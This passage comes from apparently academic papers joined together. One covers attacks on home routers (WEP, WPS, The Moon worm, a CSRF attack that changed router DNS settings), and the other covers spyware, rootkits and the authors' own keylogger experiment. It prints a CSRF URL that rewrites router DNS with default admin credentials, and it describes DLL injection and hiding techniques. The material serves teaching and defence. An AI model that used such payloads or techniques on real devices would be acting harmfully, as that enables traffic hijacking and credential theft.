4.3.4 Single Case Passwords 
When a password is constructed without having mixture of 
uppercase and lowercase letters, it becomes much easier to crack. 
The reason for this is that a single-case password means that it 
can be found without trying out almost half of the password 
combinations which contain the letters from the other case. 

4.3.5 Identical Password for Multiple Purposes 
It is hard to remember the passwords for every account if they are 
all different, and so the normal strategy employed is to use the 
same password. This however, allows hackers to obtain the 
password through easier channels such as social networking sites, 
or games, and to use it in hacking into important accounts. 

4.3.6 Passwords with Numbers Appended 
One of the methods that most people employ when they deal with 
multiple accounts is to append the password with numbers. The 
appended numbers are usually used as an identifier for the user to 
differentiate the passwords that are used for different accounts. 
However, it is almost just as insecure as using identical passwords 
for multiple purposes for hackers to figure the password out. 

4.3.7 Static Passwords That Are Used Across 
Multiple Outlets  
It is common for chain-stores of a company to have the same 
password for every single outlet with the purpose of providing 
friendly internet service to their customers. The password 
generally would not be changed in order to facilitate their service 
towards the customers. Nonetheless, this service will cause its 
internet security to be compromised as hackers could obtain the 
password at any outlet and then use it to access another outlet 
which is his/her target. 

4.4 Router Administrative Configuration 
Most setup wizards which help users to configure their network at 
ease without going into the details of network terminologies are 
concerned more about network security than about the router’s 
administration account. A default password is often set for the 
router administration account, and many users are not aware of 
the importance of changing this password, making it easier for 
hackers to crack into the router once they are connected to the 
router’s network. This vulnerability exposes the router to 
malicious attacks such as Denial of Service attacks, Packet 
Mistreating Attacks, Routing table poisoning, Hit-and-Run 
Attacks, and Persistent Attacks to the clients who are connected to 
the network [7]. 

4.5 Remote Administration Service 
Many users who receive their router from their ISPs pre-
configured do not re-configure it. The pre-configuration done by 
most ISPs often enable remote administration by default such that 
the router can be configured through the internet by entering its IP 

address, making it easier for troubleshooting network issues [5].  
However, this also means attackers have an easier time as well. 

4.6 Outdated Firmware 
Router manufacturers regularly provide router firmware upgrades 
after potential threats are discovered on their routers, and so an 
outdated router’s firmware would be extremely vulnerable to such 
attacks which are targeted at the security flaws of the outdated 
firmware [8]. As the updating of the router’s firmware has to be 
triggered by the user, it means that the user has to check regularly 
with the router’s manufacturer about the latest version of 
firmware for their routers, but most users do not practice this 
regularly, if at all. 

5. CASE STUDIES: ATTACKS ON 
MODERN HOME ROUTERS 
In this section, we will showcase the attacks that had been made 
on routers. Case 1 shows how easily and quickly WEP keys can 
be cracked, while case 2 shows that even the stronger 
WPA/WPA2 security protocols do not mean that the routers are 
secure. Case 3 and 4 both showcase large-scale attacks that 
perpetrates, not directly through cracking of a password, but 
instead indirectly by exploiting vulnerabilities such as those that 
are contained in the router itself. 

5.1 The Cases 
5.1.1 Case 1: Automatically Crack All WiFi Routers 
WEP Keys with Only 30 Seconds worth of Work 
With just a few tools, namely a software called Backtrack, a WiFi 
card that supports packet injection and the automatic WEP key-
cracking software called AutoCrack, most people are now able to 
crack all the WEP keys of the routers within his/her vicinity and 
gain unrestricted access to the WiFi access points. To make 
matters worse, these tools can be obtained without much 
difficulty. 

Although Backtrack is now discontinued, it was essentially a free-
to-download software which was used for hacking as it contained 
tools that were able to perform vulnerability assessment and 
penetration testing. The WiFi card that supports packet injection 
costs less than $40, and AutoCrack is a free software that is 
available on GoogleCode. AutoCrack works by simply scanning 
for your WiFi card and subsequently the wireless networks in 
your vicinity. After which, it will attack the wireless networks 
that it thinks it is able to crack. As we can see, all these tools are 
easily obtainable and they are simple to use for anyone even if 
they do not have the technological expertise. This illustrates how 
easily WEP keys can be cracked. 

5.1.2 Case 2: Brute Force Tools Crack WiFi Security 
in Hours, Millions Of Wireless Routers Vulnerable 
In January 2012, it was found out that the WPA/WPA2 security 
protocol being used in routers were not as secure as one thought. 
It was reported then that there were two brute force tools that 
could be used by attackers to bypass these security protocols 
simply through using an attack vector targeted at the WiFi 
Protected Setup (WPS) security protocol instead, which is 
extremely vulnerable to attack. 

The WPS was enabled by default on most major brands of 
wireless routers such as D-link and Linksys. This meant that 
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millions of routers were open to brute force attacks that only took 
less than 2 hours. 

Most wireless routers came with a WPS PIN number that could be 
used by the user to enable the encryption of their router. 
However, the problem with the WPS PIN was that a message that 
indicates the correctness of the first 4 digits of the pin is sent to 
the user as well as anyone who was attempting a brute force 
attack. In addition, the last (8th) digit of the pin was just a 
checksum for the 1st to 7th digit. This meant that only roughly 
11,000 brute force attempts were required before the attacker 
could acquire the password to gain unrestricted access to the 
network. 

5.1.3 Case 3: 'The Moon' worm invades Linksys 
Routers  
In February 2014, researchers from SANS Institute’s Internet 
Storm Center (ISC) announced that they had discovered that a 
self-replicating program, dubbed as 'The Moon' worm, had 
infected several Linksys routers by exploiting an authentication 
bypass vulnerability of those devices. 

The worm would propagate itself to the vulnerable routers by 
performing the following steps. 1) It requests for the Home 
Network Administration Protocol (HNAP) to identify the router's 
model and firmware version in order to determine if it is 
vulnerable. 2) If the router is vulnerable, the worm sends a request 
to a CGI script, which works because of an authentication bypass 
vulnerability that enables the remote execution of commands on 
the router. 3) The worm then proceeds to download a binary file 
in the Executable and Linkable format (ELF) which, when 
executed, scans ports 80 and 8080 to allow it to infect new 
devices. In this manner, 'The Moon' worm managed to infect 
Linksys routers of various models from their E-Series product 
line.  

However, it is noted that the worm only scans ports 80 and 8080 
for new devices to infect, so switching the port of the router's 
interface to something other than 80 and 8080 would completely 
mitigate this attack. Also as mentioned by Johannes Ullrich, the 
chief technology officer at SANS ISC, the attack could not be 
performed on routers which did not allow remote administration. 

5.1.4 Case 4: Cross-Site Request Forgery Attacks on 
More Than 300,000 Routers 
In February 2014, it was found, predominantly in Europe and 
Asia, that more than 300,000 small offices, home office (SOHO) 
routers made by different companies including, among others, D-
Link, Micronet, Tenda and TP-Link had had their name server 
(DNS) settings changed to use the IP addresses 5.45.75.11 and 
5.45.75.36. All devices on the networks of the affected routers 
would use the malicious DNS to translate human-friendly server 
hostnames such as www.google.com to the IP addresses of those 
servers. This effectively enabled a Man-In-The-Middle (MITM) 
attack to be performed on them. This meant that if a device uses 
the affected router to access, for instance, 
www.bank.example.com, it could be redirected to a malicious 
website that could steal the login credentials and other details of 
the user. 

Investigation conducted by Team Cymru's Threat Intelligence 
Group into the case had found that the affected routers were 
vulnerable to multiple exploit techniques, including the Cross-Site 
Request Forgery (CSRF) technique which is the most probable 

means by which the attackers in this case managed to make 
changes to the configuration of the routers.  

A CSRF attack which was most likely used to change the DNS 
settings of the routers would have comprised of luring a user 
connected to the internet through that router to click on a link that 
looks like this:  

http://admin:admin@192.168.1.1/userRpm/LanDhcpServerRpm.h
tm?dhcpserver=1&ip1=$LOCALIP_START_RANGE&ip2=$LO
CALIP_END_RANGE&Lease=120&gateway=0.0.0.0&domain=
&dnsserver=$DNSIP&dnsserver2=$DNSIP2&Save=   

Once the link is clicked, the primary and secondary DNS servers 
would be changed by the vulnerable router as it believes that it 
was the user who had initiated the request for the change. 

5.2 Methods for Mitigation 
A few notable lessons can be learned from the cases presented 
and these lessons may point us in the right direction to mitigate 
attacks. From case 1, it is easy to see that WEP is too vulnerable 
to be used as a security measure as most people would be able to 
crack WEP passwords with just the right tools. 

In case 2, we had shown that even if the routers are using 
WPA/WPA2 which are more secure, they were still open to 
attacks as the malicious user could simply target the WPS PIN 
number instead. This shows that while security protocols are 
becoming more difficult to be cracked directly, attackers are 
constantly finding new attack vectors to penetrate into the 
network. 

In both cases 3 ('The Moon' worm) and 4 (CSRF attacks on more 
than 300,000 routers) of the router attacks presented, the routers 
were open to the attacks mainly because they were configured to 
allow remote administration.  

In case 4 (CSRF attacks on more than 300,000 routers), the CSRF 
attack was only possible because the routers were configurable 
through requests via the internet. Also, a third of the routers 
attacked were running a version of ZyXEL ZynOS firmware that 
had been exposed as having a vulnerability which allows attackers 

Figure 3. CSRF attacks to alter the DNS settings of a 
router (2014), obtained from 

http://arstechnica.com/security/2014/03/hackers-hijack-
300000-plus-wireless-routers-make-malicious-changes/ 
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to download a file that contains the administrative credentials 
from an unauthenticated URL in the web interface. 

Considering those gateways of attack, we suggest the following 
steps as some of the possible ways for mitigation of such attacks. 
1) Restrict access to the configuration interface of the routers by 
using Access Control Lists (ACLs). 2) Completely disable 
management interfaces open to the internet. 3) Regularly ensure 
device firmware is up to date 

6. CONCLUSION 
This paper walked through the timeline of how wireless security 
protocols had changed and improved overtime to safeguard users’ 
information. In the introduction, we touched on the reason why 
WEP was implemented by IEEE and how it was not equipped 
with the necessary security features to safeguard users’ wireless 
activities. We carried on to talk about WPA, a draft version of 
WPA2, and the security features it implemented in order to 
correct the flaws of WEP. We then described how WPA2 is a 
better security protocol than its predecessor as it uses advanced 
security measures such as AES instead of TKIP to generate the 
keys used for the encryption of packets. Moving on, we compared 
the difference between WPA-Personal and WPA-Enterprise. We 
realized that despite WPA-Enterprise being more secure than 
WPA-Personal, WPA-Personal is a more practical option for 
home-users because it does not require the use of a RADIUS 
server unlike WPA-Enterprise. Next, we discussed about how 
despite being more robust than both WEP and WPA, home routers 
that use WPA2 can still be vulnerable due to the ways users 
manage their passwords. Lastly, we presented case studies which 
illustrate how the evolving, stronger security protocols are still 
being subjected to attack vectors by malicious users, telling us 
that the task of improving wireless security is never ending. It is 
likely that protecting legitimate users from their malicious 
counterparts will continue to be an uphill battle. Users should not 
simply rely on the current security protocols to safeguard them, 
and instead should play an active role in protecting their own 
home routers. In summary, involvement from users and 
continuous improvement in wireless security protocols are needed 
to provide the best possible environment for secured wireless 
transmission of information. 
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ABSTRACT 

This paper will first discuss the history and the motivation for 

using spyware and then explore the different effects that different 

types of spyware, such as keyloggers and trojans, can have on the 

computer. We have modified some keylogger codes found online 

and did some experimentation with the keylogger which involves 

automated sending of the log file through email. In addition, this 

paper will also show how anti-spyware protects the computer and 

how to prevent and spot a spyware attack.  

Categories and Subject Descriptors 

D.3.2 [Programming Languages]: C.  

General Terms 

Management, Security 

Keywords 

Virus, worm, adware, anti-spyware 

1. INTRODUCTION 

1.1 Definition of spyware 
‘Spyware’ has always been a very general term and there are many 

definition of spyware out there. For this paper, we will be using 

the following definition: Spyware is a type of software usually 

used to obtain and exploit non-consensual information about a 

person or organization, or assert control over a computer without 

the consumer’s knowledge [1]. 

A spyware is able to collect almost any kind of data, such as a 

user’s browsing habits, user logins, bank account information etc. 

(obtaining non-consensual information). It can also interfere with 

the user’s control over a device by installing unnecessary 

additional software or changing the device’s settings. In a 

computer, it may redirect web browsers or make unauthorized 

changes in browser settings (eg. enabling of cookies) (assertion of 

control) [2]. 

1.2 History of spyware 
The term “spyware” was first used in a Usenet post in 1995 

mocking Microsoft’s business model, which included the line 

“#include <spyware.h>” [3]. While the term was used jokingly, it 

has come to accurately describe the nature of spyware – malicious 

code used to obtain information from unknowing users [1]. 

There are ‘good’ and bad spyware. ‘Good’ spyware are those that 

are available commercially to be used to monitor children, 

spouses and other purposes. Bad spyware are those that are 

associated with malicious users. Unlike malicious spyware, ‘good’ 

spyware are meant to be removable by the user, but the legality 

and ethicality of such programs are dubious – some, such as 

LoverSpy, have been shut down and persecuted for their invasive 

nature into people’s privacy [4]. Whereas spyware like 

StealthGenie (www.mobile-spy.com), mSpy (www.mspy.com) are 

still available. 

2. SPYWARE, WORM AND VIRUS 
There are many malware (malicious software) on the internet 

today. All of them are common in that they bring harm to your 

computer or devices (thus the name malware) and are 

unwelcomed. We have chosen to look at spyware, worms and 

viruses as they have been around for a longer time.   

2.1 Behavior 
The behavior of spyware is very close to that of a parasite. 

Spyware are designed to stay put and avoid activities that may 

blow their cover. They usually disguise themselves as legitimate 

applications or hide in places where an average Joe would know 

nothing about (registry, data link library etc.) [5]. 

The behavior of virus, as its name suggest, is close to a biological 

virus. A virus infection will replicate and try to infect as many 

other hosts as possible in the shortest possible time. A worm 

behaves similarly to a virus (replicating and spreading) [6]. The 

difference between a worm and virus will be discussed in the 

Method of propagation section below.  

2.2 Motive 
Another difference between spyware, worm and virus is the 

motive of the malware creator.  

Spyware are generally written for monetary gain [7]. It can 

influence the browsers that users visit (pop up ads), get bank 

account information and passwords through keylogging and 

hijack homepages. Spyware can also scan files on the computer, 

monitor browsing habits of users and spy on other applications. 

The information collected may be used for advertising or 

marketing purposes or sold to another party [2]. An example 

would be Zango (180 Solutions) which tracks the users’ internet 

browsing activities and sold such information to affiliated 

programs [8] . 

In the past, many viruses and worms are written by people who 

wanted to test system or even to flout network administrators and 

anti-virus vendors, simultaneously standing out among their peers 

[9]. The ‘war’ between Bagle, Netsky and Mydoom during 2004 

where insults were traded between the worms’ writers through the 

worms’ codes suggested that testosterone might be involved in 

some worm and virus activities [10].  

After the introduction of spyware and adware, many virus and 

worm writers today are leaning towards monetary gains (eg. FBI 

Greendot MoneyPak Virus), blurring the lines between these 

types of programs. Nowadays they are collectively referred to as 

malware. 
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2.3 Method of propagation 
Social engineering is a common tactic for many types of exploits 

and that includes spyware, virus and worm.  

As stated above, spyware does not usually replicate itself. It 

typically gets on a system by deceiving a user to download it 

(bundling itself with desirable software). KaZaA, a popular P2P 

file sharing client, had a spyware in it which monitors visited 

websites [2]. Spyware can also exploit security holes in software 

or browsers to get onto the host (eg. Windows XP). Internet 

Explorer (IE) is frequently targeted for spyware due to its 

abundance of security issues especially before IE 7.0 was released 

[11]. 

Virus and worms will seek to replicate but their methods are 

slightly different:  

A virus inserts itself in a program or file and will only spread 

when a user opens or runs the infected file. It is usually spread 

unknowingly by people who share the infected files or through 

attachments in email [6]. A well-known virus would be the 

Melissa virus which is spread through email with an attachment 

list.doc. When the user opens the attachment, Melissa will start 

looking through the user’s address book; replicate itself onto 

email and sending the emails to the first 50 names in the address 

book [12]. Other than email, viruses may also try to propagate 

themselves through other vectors such as file sharing services, 

telnet, FTP, instant messaging or communication services on the 

computer.  

A worm, however, do not need human action to propagate itself. 

It hides in the memory and moves through the network to infect 

other machines [6]. The Code Red worm is able to replicate itself 

to more than 359,000 times in a short span of 14 hours. What 

happened was the worm scanned the Internet for unprotected 

servers (Windows 2000 or Windows NT) and copies itself to that 

server. It then does the same thing on the new server [13].     

 

 Spyware Virus Worm 

Behavior Does not 

replicate 

Replicates itself Replicates 

itself 

Motive Money Others Others 

Methods of 

propagation 

Deception  Executable files  

(human action) 

Network  

(no human 

action) 

Table.1 Brief summary of spyware, virus and worm 

 

2.4 Evaluation on level of threat 
We feel that the level of threat of a malware is dependent on the 

type of purpose it is used for and its capability (how destructive it 

is by itself). Assuming that the purpose and capability are the 

same, we feel that a worm would be considered more dangerous 

as compared to a virus or spyware due to its ability to replicate 

very quickly without human aid, whereas the damage of virus is 

more ‘localized’. The resulting effects of a single worm are far 

more significant as the affected area would be larger. 

However, as we have discussed above, the distinction between the 

different types of malware today is not as clear as it was back 

then. A program which obtains unrestricted access to a user’s 

computer can do anything it wants – destroy the system, replicate 

and spread, bring in more malware or steal information. Even 

spyware, which traditionally just spy on the user, are getting more 

destructive today (creating backdoors for other malware, wrecking 

the computer when the user tries to remove it etc.).  

In fact, as we will see below, spyware are further split into 

groupings, each with different functions and capabilities.  

3. TYPES OF SPYWARE 
There are many types of spyware created for different purposes. 

Common ones include tracking cookies, browser hijackers, 

Trojans and keyloggers. In our paper, Trojans are considered 

spyware due to our definition in the Introduction section. Some 

people may consider Trojans and spyware to be separate type of 

malware. There may be malware that fall under more than one 

category. 

3.1 Tracking Cookie 
Cookies do not hold code and are not malicious directly. 

However, they contain user’s information for websites and are a 

source of information for most spyware. They can be exploited in 

many ways. One example would be a website that displays 

advertisements where the advertiser may place a cookie on a 

user’s computer whenever he/she visits the website. Should the 

user visit another website containing the same advertisement, the 

advertiser would find out using the same cookie. This allows them 

to track and monitor the type of websites the user visits, posing 

risk to the user’s privacy [14].  

3.2 Browser hijacker 
Browser hijackers are programs which adjust browser settings, 

causing the browser to redirect the user to malicious websites. 

Most browser hijackers involve changing the homepage or 

toolbars on the user’s computer and are usually bundled with 

other software [2]. 

More virulent browser hijackers will add bookmarks to 

pornographic web sites onto the user’s bookmark list, open up 

windows to pornographic sites faster than the user can close them 

or redirect the user to pornographic site when the URL is 

mistyped. One such browser hijackers would be CoolWebSearch 

which is known for its clever disguise in the registry directory 

which makes it hard to remove [15].  

3.3 Keylogger 
Keyloggers are an alternative method to cracking passwords. A 

keylogger records all activities in a file in which the attacker 

would then retrieve the file. More advanced keyloggers involve 

recording of mouse activities, taking screenshots and even 

retrieving keyboard activities when the user is typing inputs into 

websites and applications [8]. 

There are two kinds of keyloggers: hardware and software.  

Software keylogging is usually through applications which 

contain code to monitor activities. Recently, FireEye has found 

vulnerability in Apple iOS7 (non-jailbroken) which allows 

keylogging and they have even created a working POC (proof-of-

concept) “monitoring” application [16]. 

Hardware keylogger can range from a small device plugged at the 

back of a computer (easily detected) to one that is built into the 

keyboard (hard to detect). This type of keylogger requires physical 
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access to the computer or devices (which is not hard with the 

growth in social engineering) and they have their own internal 

memory to store all keystroke activities [17]. A camera recording 

keystrokes is considered as a keylogger too. 

3.4 Trojan 
A Trojan (or Trojan horse), similar to the original story, disguises 

itself as a useful or interesting program to trick the user into 

downloading and installing them. Once executed, actions will be 

carried out depending on the nature of the Trojan. This includes 

loss of data, giving an adversary remote access to the computer 

system and system damage [6]. In fact, there have been reports on 

fake Angry Birds Space application for Android on unofficial app 

stores which contains a Trojan that will gain root access and 

install more malware onto the device [18]. 

3.5 Adware 
By itself, adware (advertising-supported software) is software 

designed to displays advertisements and is not considered a spy 

program. It was originally used for marketing purposes to see 

what kind of products interest people. However, it is often abused 

and soon became closely related to spyware due to its intrusive 

nature and the frequencies at which they come together with 

spyware programs. While some are categorized as an ‘irritant’, 

malicious adware can often have Trojan, keyloggers, tracking 

cookies or other malware. 

4. TECHNIQUES USED IN SPYWARE 
We have discussed above on how spyware has different motives 

as compared to other malware like virus and adware and thus, the 

methods they employ are slightly different. In this section, we will 

be looking at finer details on the propagation of spyware and 

details on the techniques used in spyware programs. To remove 

spyware, it is important to know how they work. Understanding 

the procedures that spyware take will allow us to predict its 

location so we are able to look for it. 

For this paper, we have chosen to look at how keyloggers work 

specifically. By examining the codes of two existing keyloggers: a 

hooking keylogger and a polling keylogger with email-sending 

capabilities (differences will be explained in details below), we 

have built an experimental keylogger in C. We have modified the 

code a little to merge both keyloggers together and to run an 

AutoStart() function which instructs the program on what to do. 

4.1 Propagation 

4.1.1 Deception 
The first step for every malware, including spyware, is to find a 

host. Spyware can be distributed in ways similar ways as viruses 

and worms: emails, injections etc. However, the most common 

source of spyware is companies which design desirable programs 

and bundle spyware together with them. The spyware gets 

installed when the user installs the desirable program and it will 

work surreptitiously in the background. 

A good example of a desirable program would be SUPER 

eRightSoft, a freeware audio/video conversion program which 

actually performs its stated purpose. However, it also contains 

OpenCandy, an adware/spyware program which obtains 

information from the user’s system and promotes advertisements 

for installing additional software (typically more spyware). One 

such extra ‘software’, SweetIM, which disguises itself as an 

‘emoticon package’, is notoriously difficult to remove. 

 

Fig.1 SUPER eRightSoft audio/video converter 

 

4.1.2 Changing extensions 
Another old method of tricking users into downloading the 

spyware is hiding the program by naming the file with two 

extensions. For example, a program virus.exe would be renamed 

as virus.jpg.exe. The latter extension takes precedence and the file 

is coded as an .exe file, but the user will see the link as a .jpg. 

This method relies on tricking a careless user into clicking the file 

but it no longer works on newer computers. Browsers 

downloading content will detect .exe instead of a jpeg file and 

raise warnings. Modern OSes will usually raise a prompt before 

running an executable file too. Furthermore, the proper extension 

is typically hidden and its type is displayed in the icon or the File 

Extension tab. Therefore, it is hard to mistake an executable file 

for something else. 

4.1.3 Hiding codes in another file 
Another method hides the malicious code in another file, typically 

an image or video file. For example, the code can be hidden as 

virus.jpg. Thus instead of having two extensions as stated in the 

method above, the file is registered as an image file with the 

proper extension .jpg. 

For example, in our experimental keylogger program, the log file 

is written as “icons.jpg”, an innocuous-looking name which most 

users will assume to be safe. However, the file will return rubbish 

when it is opened by an image viewer and if opened by a text 

editor, one will realize that it is not an actual image file. Image, 

audio and video files often bypass browsers and firewalls and are 

downloaded everywhere. In this way, malicious code can be 

propagated very quickly. 
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Fig. 2 we did not hide any malicious code. Instead, we hid the 

output of the keylogger instead. Opening it in Notepad++ 

reveals its true content. 

 

Like cookies, image and audio files are simply data and require an 

external program to run them. Code hidden this way cannot 

execute itself and remains ‘inert’ inside the infected file. To 

trigger it, the attacker may attempt a buffer overflow attack. An 

editor or viewer which does not load the file safely, for example, 

will have vulnerabilities which allow attackers to execute the 

hidden code. A proper editor or viewer should sanitize and 

display only the content, and throw away the rest of the file. 

The attacker cannot rely on the program running only when the 

user opens the infected file and triggers vulnerabilities. The 

malware must be introduced permanently after exploiting the 

vulnerability. Hence, the codes hidden in such exploits are often 

not the malicious program itself, but write the malicious program 

in a separate file and modify settings to execute it [19]. This is a 

typical way of bypassing detection programs, which look for code 

used in spyware but not for code which write spyware. 

4.1.4 DLL Injection 
DLL (Dynamic Link Library) injection is a common technique to 

force a program to run outside code. This causes another process 

to run codes within its address space unknowingly by making it 

load a DLL, which contains the malicious code. It is said that 45-

50% of malware today use DLL injection to attack a victim’s 

computer [20]. DLL injection can be done in several ways - by 

replacing an existing DLL, editing the process to call from the 

malicious DLL, using hooks and so on. 

One method is to replace an existing DLL. The malicious file 

replaces a frequently used DLL. The malicious DLL must be able 

to handle all original functions requested from it to avoid crashes 

and suspicion. 

Windows API also offers methods to allow for DLL injection. The 

malware opens a process or creates one, then uses 

WritesProcessMemory() to insert the DLL name into the process, 

before using CreateRemoteThread(), which creates a thread that 

runs in the virtual address space of another process, to inject the 

DLL. 

4.2 Hiding 
In contrast to worm and virus which ensure persistency by 

replicating itself, a spyware does so by staying hidden and being 

difficult to remove. Thus, spyware is a major user of rootkit 

technology. 

4.2.1 Rootkit 
A rootkit is a program which hides itself and other programs from 

detection. The term “rootkit” stems from the idea of a “kit” which 

allows access to the “root” – the most powerful part of the 

computer [21]. As the name suggests, a rootkit is typically used to 

aid another program in avoiding detection. They are not 

necessarily malware themselves, but few would use them except 

malicious users who appreciate the stealth capabilities of rootkits. 

Therefore, rootkits are usually considered malicious as well. 

Rootkits are classified into two types of rootkits: User mode and 

kernel mode.  

User mode rootkits often make use of hooking functions, which 

will be explained in details below, and modifying registry keys 

and files to redirect code. They often modify system DLLs or 

inject DLLs themselves [21]. This type of rootkit is easier to 

manipulate and more stable. Fortunately, most rootkit detectors 

are developed to find such rootkits as their hiding processes are 

considered inefficient [22]. For example, a rootkit detector can 

discover processes which are being hidden from the Task 

Manager and raise warnings, alerting the user to the presence of 

rootkits. Many anti-spyware programs also actively monitor DLLs 

and the registry for changes, a typical method used by malware in 

general [23]. 

Kernel mode rootkits operate by invading the kernel. This type of 

rootkit offers more stealth, putting it on a much lower operating 

level which makes it hard to detect, but unstable due to the 

sensitivity of the kernel. Kernel-based rootkits are complex to 

implement and thus prone to bugs. A possible sign of being 

infected by kernel-based malicious software is the infamous Blue 

Screen of Death, suggesting unwanted operations on the kernel. 

However, a properly implemented kernel-mode rootkit is said to 

be nearly undetectable by current methods. As a result rootkits are 

among other malware become increasingly developed and used. 

Rootkits are thus a very dangerous threat when used with other 

malicious software [24].  

4.2.2 Direct Kernel Object Manipulation 
This is a technique often used by rootkits to hide processes, based 

on how Windows processes work. Each process contains an 

EPROCESS structure, which further contains a LIST_ENTRY 

structure pointing to a process in front (FLINK) and a process 

behind (BLINK). Windows uses these to chain these processes in 

a doubly-linked list. The rootkit can gain access to this list and 

locate the process it wishes to hide. It then disconnects the 

process from the list, hiding the process. Device drivers can be 

hidden in a similar way. Windows actually provides API to access 

the list and perform this task [21].  

The drawback is that the kernel is fragile, and improper handling 

causes the system to crash. The process list is volatile and updated 

very quickly whenever a process starts and ends, therefore it may 

be unsafe to traverse and alter the list. Furthermore this technique 

cannot hide the file itself, as there is no list for files in the 

memory. Therefore there are limitations, and other techniques 

must be employed to hide the malicious file itself [21].  

4.2.3 Polymorphic Spyware 
There are spyware that can avoid anti-spyware scans by modifying 

their file names and registry entries (usually CLSID values) each 

time they install themselves. These kind of spyware are known as 

polymorphic spyware and because of their mutating and morphing 

nature, it is difficult to remove them with just only conventional 

anti-spyware [25].  

One example would be the spyware HomeSearch, which is 

nicknamed “gremlinware” due to its persistent nature (it always 
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comes back no matter how many times the user removes it) [25]. 

HomeSearch installs itself to different locations in the user’s hard 

drive under different names and it is completely invisible during 

installation. It attaches itself directly to the Internet Explorer as a 

Browser Helper Object (BHO), bypassing most anti-spyware. 

(In our experiment, we only hid the program’s window so we can 

terminate the keylogger via the Task Manager.) 

4.3 Experiment on getting user’s input 
As mentioned previously, keyloggers can come in the form of 

hardware or software. Practical Malware Analysis splits software-

type keyloggers into kernel-based and user-space keyloggers (not 

unlike rootkits), the latter further into hooking and polling 

keyloggers. Kernel-based keyloggers are more powerful, as with 

programs which can manipulate the kernel of an OS, but require 

in-depth understanding of kernels [26]. For our experiment, we 

have looked into user-space keyloggers instead as they are easier 

to implement and understand. 

 

   

 

 

 

 

 

Table 2. Types of keyloggers 

 

Our first attempt was to create a polling keylogger (refer to 

appendix for codes). Polling keyloggers use a Windows method 

called getAsyncKeyState(), which checks the keyboard state when 

the function is called and returns a depressed key. They keylogger 

runs an infinite loop, checking getAsyncKeyState() at every round 

and if there is a depressed key, it records it in the log file. As the 

while loop (refer to codes in appendix) runs extremely quickly, 

the keylogger uses Sleep(50) to stall the loop to prevent maximum 

CPU usage. 

After testing, our conclusion is that this method was subpar as it 

consumes a large amount of CPU. Despite the Sleep() command 

(which tells the program to idle), it shows a hefty CPU usage. 

This typically alerts users and antispyware to its presence. 

 

 

Fig. 3 CPU usage (refer to appendix for larger picture) 

 

Hooking keyloggers, which are the standard way to implement a 

keylogger, uses keyboard hooks. Hooks are mechanisms which 

intercept or alter events sent to an application, such as mouse and 

keyboard strokes. Windows API offers hooking functions, 

SetWindowsHookEx and UnhookWindowsHookEx. Hooking is 

used for debugging and benchmarking purposes, where an 

external program measures the input and out of the application. 

However, keyloggers use hooks to keep track of all input to other 

programs and record them in a log file. 

Besides intercepting traffic, hooks can also be used for DLL 

injections. The SetWindowsHookEx function applies a hook 

procedure into the process’s Message Processing procedures, and 

these hook procedures are managed in a chain [21]. Using an 

exported function from a malicious DLL, when an event triggers 

the hook procedure, Windows will look for the address of the 

exported function, and since it is in the malicious DLL, it will 

load the DLL into the program’s address space. 

For the purposes of a keylogger, we look for the wParam and 

lParam parameters returned by the hook event. The wParam will 

contain the event described, and the lParam contains a hook 

structure. For example, when we detect a WM_KEYDOWN event 

from a depressed key, we will look for the key and record it in a 

file. The keylogger we used uses Windows functions to obtain the 

key. In our first attempt, we obtained the vkCode of the keystroke 

and manually translated it with a switch table. 

Besides tracking the state of the keyboard, a keylogger may also 

track mouse clicks or capture screenshots. We found an 

interesting problem in our experiment: the victims (us) frequently 

access web URLs from a drop-down menu and stored passwords 

on the browser. The keylogger thus recorded inconclusive activity 

such as [F][A][Down][Enter], did not catch any sensitive 

information, and did not know what the victim was browsing. A 

proper keylogger will have addressed these shortcomings. 

 

5. PREVENTION 

5.1 Anti-spyware 
Most new computers are preinstalled with antiviruses which 

usually have antispyware capabilities. But if the computer does 

not, it is important that the user finds and installs an anti-spyware 

and anti-virus as soon as possible. 

Below are some details on how an anti-spyware program works 

which will show us the importance of keeping our anti-spyware 

programs up-to-date: 

Firstly, the anti-spyware will scan the system for bits of code 

called signatures which are usually signs of a spyware infection. It 

will then compare the signature to its database of signatures 

(signature base) and if it finds a match, it will report a spyware 

infection (it uses checksum or hash algorithm to identify a 

spyware). To ensure that it is able to catch most spywares, anti-

spyware keeps its signature base updated regularly. In some 

instances, some spyware morph while some do not leave their 

signature. Thus, other than signatures, some anti-spyware will 

also look for suspicious behavior as well (eg. spyware modifying 

Windows configuration files) [8]. For example, since most 

spyware will edit the registry to run on startup, searching for the 

term “HKCU\ SOFTWARE\ Microsoft\ Windows\ 

CurrentVersion\ Run” has a good chance of catching one. 

Anti-spyware also looks for hooks in processes. Many spyware 

make use of hooks to record the activities of other applications. 

The detector will monitor these activities (often through the use of 

hooks themselves) as well for data sent elsewhere to unauthorized 

Keylogger 

Kernel-

based 

User-space 

Hooking Polling 
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processes. It will also look for unexpected DLL and registry 

changes, commonly done by spyware [21]. TeaTimer, for 

example, is a tool of SpyBot: Search and Destroy, an anti-spyware 

program, which runs in the background and monitors processes, 

terminating malicious ones. 

When an anti-spyware detects a piece of spyware, it will delete it. 

But due to the complex nature of removing spyware, not all anti-

spyware is able to remove all the spyware it detects. 

Anti-spyware also provides real-time protection where it resides 

in the memory and look out for signs that indicates a spyware is 

being installed or a browser is being hijacked. In those situations, 

the anti-spyware will not allow the spyware to be installed or the 

browser to be hijacked [8]. 

5.2 Firewall 
A firewall is a program or device that filters information that is 

travelling from the Internet into the user’s private network. If an 

incoming packet does not meet certain criteria of the firewall, it 

will be denied access to the network. In fact, firewall can act as a 

form of damage control especially if a computer in a network gets 

infected [27]. For example, in a corporate with hundreds of 

computers, if a computer gets infected by a spyware and the 

hacker is able to connect to it and control it, firewall can prevent 

the hacker from accessing files on the computers. Firewall can be 

configured to reject all packets from unknown IP addresses that 

are trying to access certain crucial ports (eg. FTP (port 21), Telnet 

(port 23), SMTP (port 25)). 

 

 

Fig. 4 Failed attempt to connect to smashingmagazine’s port 

21, 23 & 25 due to firewall. 

 

5.3 Awareness 
It is important for users to know the existence of spyware and the 

potential risks it brings to the computer. When installing 

programs, make sure that the website where the program comes 

from can be trusted. This is especially so for freeware. Most 

spyware are bundled together with freeware since freeware are 

more popular among many users. Since the goal of spyware is to 

trick as many people as possible into downloading them (due to 

them not being able to replicate), they are more likely to come in 

freeware. 

Make sure to read all privacy statement and license agreement as 

well. Sometimes, the presence of spyware and adware in a 

software installation is mentioned but it may be hidden 

somewhere in the privacy statement or End User License 

Agreement (EULA) (where most people are just too lazy to read 

the whole thing). There are also times where companies will make 

the EULA hard to read in order to mask the presence of the 

